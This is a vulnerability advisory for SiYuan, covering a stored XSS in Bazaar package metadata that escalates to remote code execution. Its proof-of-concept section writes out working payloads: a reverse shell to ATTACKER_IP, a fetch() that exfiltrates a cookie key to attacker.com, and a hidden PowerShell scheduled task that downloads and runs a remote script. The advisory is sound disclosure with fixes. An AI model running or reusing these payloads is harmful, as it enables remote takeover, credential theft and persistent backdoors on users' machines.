SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Description

Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Summary

SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.

Affected Component

  • Metadata rendering: app/src/config/bazaar.ts:275-277
  • Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

  • SiYuan <= 3.5.9

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Vulnerable Code

In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:

// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` &lt;span class=&quot;ft__on-surface ft__smaller&quot;&gt;${item.name}&lt;/span&gt;` : &quot;&quot;}

// Package description — title attribute uses escapeAttr(), but text content does NOT
&lt;div class=&quot;b3-card__desc&quot; title=&quot;${escapeAttr(item.preferredDesc) || &quot;&quot;}&quot;&gt;
    ${item.preferredDesc || &quot;&quot;}  &lt;!-- UNESCAPED HTML --&gt;
&lt;/div&gt;

The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at app/electron/main.js:422-426 is configured with:

webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require(&#x27;child_process&#x27;), require(&#x27;fs&#x27;), and require(&#x27;os&#x27;).

Proof of Concept

Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:

{
    &quot;name&quot;: &quot;helpful-productivity-plugin&quot;,
    &quot;displayName&quot;: {
        &quot;default&quot;: &quot;Helpful Plugin&lt;img src=x onerror=\&quot;require(&#x27;child_process&#x27;).exec(&#x27;calc.exe&#x27;)\&quot;&gt;&quot;
    },
    &quot;description&quot;: {
        &quot;default&quot;: &quot;Boost your productivity with smart templates&quot;
    },
    &quot;version&quot;: &quot;1.0.0&quot;,
    &quot;author&quot;: &quot;attacker&quot;,
    &quot;url&quot;: &quot;https://github.com/attacker/helpful-productivity-plugin&quot;,
    &quot;minAppVersion&quot;: &quot;2.0.0&quot;
}

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

Step 3: Zero-click RCE

When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The &lt;img src=x&gt; tag fails to load, firing the onerror handler, which calls require(&#x27;child_process&#x27;).exec(&#x27;calc.exe&#x27;).

No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.

Escalation: Reverse shell

{
    &quot;displayName&quot;: {
        &quot;default&quot;: &quot;Helpful Plugin&lt;img src=x onerror=\&quot;require(&#x27;child_process&#x27;).exec(&#x27;bash -c \\\&quot;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1\\\&quot;&#x27;)\&quot;&gt;&quot;
    }
}

Escalation: Data exfiltration (API token theft)

{
    &quot;displayName&quot;: {
        &quot;default&quot;: &quot;&lt;img src=x onerror=\&quot;fetch(&#x27;https://attacker.com/exfil?token=&#x27;+require(&#x27;fs&#x27;).readFileSync(require(&#x27;path&#x27;).join(require(&#x27;os&#x27;).homedir(),&#x27;.config/siyuan/cookie.key&#x27;),&#x27;utf8&#x27;))\&quot;&gt;&quot;
    }
}

Escalation: Silent persistence (Windows)

{
    &quot;displayName&quot;: {
        &quot;default&quot;: &quot;&lt;img src=x onerror=\&quot;require(&#x27;child_process&#x27;).exec(&#x27;schtasks /create /tn SiYuanUpdate /tr \\\&quot;powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\&quot;https://attacker.com/payload.ps1\\\\\\\&quot;)\\\&quot; /sc onlogon /rl highest /f&#x27;)\&quot;&gt;&quot;
    }
}

Attack Scenario

  1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
  2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
  3. The plugin.json manifest contains an XSS payload in the displayName or description field.
  4. When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
  5. The injected &lt;img onerror&gt; (or &lt;svg onload&gt;, &lt;details ontoggle&gt;, etc.) fires automatically.
  6. JavaScript executes in the Electron renderer with full Node.js access (nodeIntegration: true).
  7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.

The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.

Impact

  • Full remote code execution on any SiYuan desktop user who browses the Bazaar
  • Zero-click — payload fires on page load, no interaction required
  • Supply-chain attack — targets the entire SiYuan user community via the official marketplace
  • Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
  • Can install persistent backdoors, scheduled tasks, or ransomware
  • Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Escape all package metadata in template rendering (bazaar.ts)

function escapeHtml(str: string): string {
    return str.replace(/&amp;/g, &#x27;&amp;amp;&#x27;).replace(/&lt;/g, &#x27;&amp;lt;&#x27;)
              .replace(/&gt;/g, &#x27;&amp;gt;&#x27;).replace(/&quot;/g, &#x27;&amp;quot;&#x27;)
              .replace(/&#x27;/g, &#x27;&amp;#039;&#x27;);
}

// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
&lt;div class=&quot;b3-card__desc&quot;&gt;${escapeHtml(item.preferredDesc || &quot;&quot;)}&lt;/div&gt;

2. Server-side sanitization in the Bazaar index pipeline

Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:

func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil {
        return
    }
    for k, v := range pkg.DisplayName {
        pkg.DisplayName[k] = html.EscapeString(v)
    }
    for k, v := range pkg.Description {
        pkg.Description[k] = html.EscapeString(v)
    }
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-18 16:09:34 UTC
Updated
2026-03-20 21:23:47 UTC
GitHub reviewed
2026-03-18 16:09:34 UTC
NVD published
2026-03-20

EPSS Score

Score Percentile
0.08% 22.89%

CVSS Scores

Base score Version Severity Vector
5.3 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:L)
Low privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:N)
No integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:N)
No availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:L)
Limited confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:L)
Limited integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • 0xkakash1 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/siyuan-note/siyuan/kernel < 0.0.0-20260317012524-fe4523fff2c8 0.0.0-20260317012524-fe4523fff2c8

References

cvelogic Threat Intelligence